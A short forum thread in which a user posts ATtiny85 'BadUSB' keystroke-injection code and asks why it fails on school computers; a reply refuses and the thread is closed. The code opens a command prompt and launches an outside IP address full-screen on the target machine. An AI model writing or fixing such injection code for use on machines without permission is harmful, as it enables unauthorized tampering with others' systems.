Jump to content

Recommended Posts

Posted

My code wont work at school, y? I bout a attiny85 on aliexpress, put in into ma pc, everything worked fine and still on my laptop i can write code on it. But when i connect the badusb to a school pc nothing happens the same on my laptop, but last i tested it worked on my pc. Can uu halp!!!11one

#include "DigiKeyboard.h"

// Delay between keystrokes
#define KEYSTROKE_DELAY 1000

#define  KEY_ESC         0x29  // Escape
#define KEY_MODIFIER_LEFT_GUI 0x08

int iterationCounter = 0;

void setup() {
  
  // initialize the digital pin as an output.
  pinMode(0, OUTPUT); //LED on Model B
  pinMode(1, OUTPUT); //LED on Model A     
  digitalWrite(0, LOW);    // turn the LED off by making the voltage LOW
  digitalWrite(1, LOW); 
  // don't need to set anything up to use DigiKeyboard
}


void loop() {
  
  DigiKeyboard.update();

  if (iterationCounter == 0) {
    // this is generally not necessary but with some older systems it seems to
    // prevent missing the first character after a delay:
    DigiKeyboard.sendKeyStroke(0);
  
  
    // It's better to use DigiKeyboard.delay() over the regular Arduino delay()
    // if doing keyboard stuff because it keeps talking to the computer to make
    // sure the computer knows the keyboard is alive and connected
    DigiKeyboard.delay(KEYSTROKE_DELAY);
  
    DigiKeyboard.sendKeyStroke(KEY_ESC, KEY_MODIFIER_LEFT_GUI);
    DigiKeyboard.delay(KEYSTROKE_DELAY);
    DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT); //run
    DigiKeyboard.delay(500);
    DigiKeyboard.print("cmd");
    DigiKeyboard.delay(KEYSTROKE_DELAY);
    DigiKeyboard.print("start /max 88.193.204.254");
    DigiKeyboard.delay(KEYSTROKE_DELAY);
    DigiKeyboard.sendKeyStroke(KEY_ENTER);
    DigiKeyboard.delay(KEYSTROKE_DELAY);
    DigiKeyboard.sendKeyStroke(KEY_F11);
    DigiKeyboard.delay(KEYSTROKE_DELAY);
    

  }

  delay(1000);
  
  iterationCounter++;
}

 

Posted

No. Stop trying to hack your school. Read the forum rules.

Guest
This topic is now closed to further replies.
  • Recently Browsing   0 members

    • No registered users viewing this page.
×
×
  • Create New...